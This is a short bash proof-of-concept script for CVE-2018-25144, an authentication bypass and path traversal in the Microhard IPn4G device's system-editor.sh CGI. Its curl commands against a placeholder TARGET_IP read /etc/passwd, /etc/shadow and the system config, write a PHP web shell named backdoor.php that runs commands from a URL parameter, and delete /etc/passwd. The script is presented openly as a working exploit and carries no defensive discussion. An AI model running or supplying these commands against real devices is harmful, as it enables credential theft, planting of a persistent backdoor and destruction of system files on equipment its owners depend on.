CVE-2018-25144

#!/bin/bash # CVE-2018-25144 PoC - Microhard IPn4G Authentication Bypass # Read arbitrary file via path traversal curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc&edit=passwd' # Read shadow file (if permissions allow) curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc&edit=shadow' # Write/Modify arbitrary file curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh' \ -X POST \ --data-urlencode 'path=../../www/html' \ --data-urlencode 'savefile=backdoor.php' \ --data-urlencode 'content=<?php system($_GET["cmd"]); ?>' # Delete arbitrary file curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc&delfile=passwd' # Alternative: Read system configuration curl -i -s 'http://TARGET_IP/cgi-bin/system-editor.sh?path=../../etc/config&edit=system'

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